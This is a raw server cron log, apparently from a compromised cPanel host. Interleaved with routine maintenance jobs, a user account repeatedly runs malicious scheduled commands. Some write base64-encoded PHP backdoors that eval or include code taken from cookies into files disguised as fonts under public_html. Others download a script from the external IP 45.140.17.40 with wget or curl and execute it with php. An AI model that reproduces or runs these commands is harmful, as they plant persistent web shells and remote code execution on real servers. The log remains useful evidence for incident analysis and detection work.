Sep  1 03:11:01 ip-184-168-122-23 CROND[5992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:11:01 ip-184-168-122-23 CROND[5990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:12:01 ip-184-168-122-23 CROND[6076]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:12:01 ip-184-168-122-23 CROND[6075]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:12:01 ip-184-168-122-23 CROND[6079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:12:01 ip-184-168-122-23 CROND[6081]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:12:01 ip-184-168-122-23 CROND[6083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:13:01 ip-184-168-122-23 CROND[6165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:13:01 ip-184-168-122-23 CROND[6169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:13:01 ip-184-168-122-23 CROND[6167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:13:01 ip-184-168-122-23 CROND[6168]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:14:01 ip-184-168-122-23 CROND[6249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:14:01 ip-184-168-122-23 CROND[6250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:14:01 ip-184-168-122-23 CROND[6254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:14:01 ip-184-168-122-23 CROND[6255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:14:01 ip-184-168-122-23 CROND[6253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:15:01 ip-184-168-122-23 CROND[6362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:15:01 ip-184-168-122-23 CROND[6365]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:15:01 ip-184-168-122-23 CROND[6366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:15:01 ip-184-168-122-23 CROND[6364]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:15:01 ip-184-168-122-23 CROND[6368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:15:01 ip-184-168-122-23 CROND[6367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:16:01 ip-184-168-122-23 CROND[6455]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 03:16:01 ip-184-168-122-23 CROND[6454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:16:01 ip-184-168-122-23 CROND[6459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:16:01 ip-184-168-122-23 CROND[6460]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:16:01 ip-184-168-122-23 CROND[6458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:16:01 ip-184-168-122-23 CROND[6457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:17:01 ip-184-168-122-23 CROND[6544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:17:01 ip-184-168-122-23 CROND[6545]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:17:01 ip-184-168-122-23 CROND[6546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:17:01 ip-184-168-122-23 CROND[6548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:18:01 ip-184-168-122-23 CROND[6712]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:18:01 ip-184-168-122-23 CROND[6714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:18:01 ip-184-168-122-23 CROND[6715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:18:01 ip-184-168-122-23 CROND[6717]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:18:01 ip-184-168-122-23 CROND[6716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:19:01 ip-184-168-122-23 CROND[6792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:19:01 ip-184-168-122-23 CROND[6796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:19:01 ip-184-168-122-23 CROND[6797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:19:01 ip-184-168-122-23 CROND[6802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:20:01 ip-184-168-122-23 CROND[6882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:20:01 ip-184-168-122-23 CROND[6883]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 03:20:01 ip-184-168-122-23 CROND[6887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:20:01 ip-184-168-122-23 CROND[6888]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  1 03:20:01 ip-184-168-122-23 CROND[6886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:20:01 ip-184-168-122-23 CROND[6893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:20:01 ip-184-168-122-23 CROND[6889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 03:20:01 ip-184-168-122-23 CROND[6892]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 03:20:01 ip-184-168-122-23 CROND[6891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:21:01 ip-184-168-122-23 CROND[7002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:21:01 ip-184-168-122-23 CROND[7004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:21:01 ip-184-168-122-23 CROND[7005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:21:01 ip-184-168-122-23 CROND[7003]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:22:02 ip-184-168-122-23 CROND[7122]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:22:02 ip-184-168-122-23 CROND[7123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 03:22:02 ip-184-168-122-23 CROND[7125]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 03:22:02 ip-184-168-122-23 CROND[7127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 03:22:02 ip-184-168-122-23 CROND[7126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:23:01 ip-184-168-122-23 CROND[7209]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 03:23:01 ip-184-168-122-23 CROND[7210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 03:23:01 ip-184-168-122-23 CROND[7212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
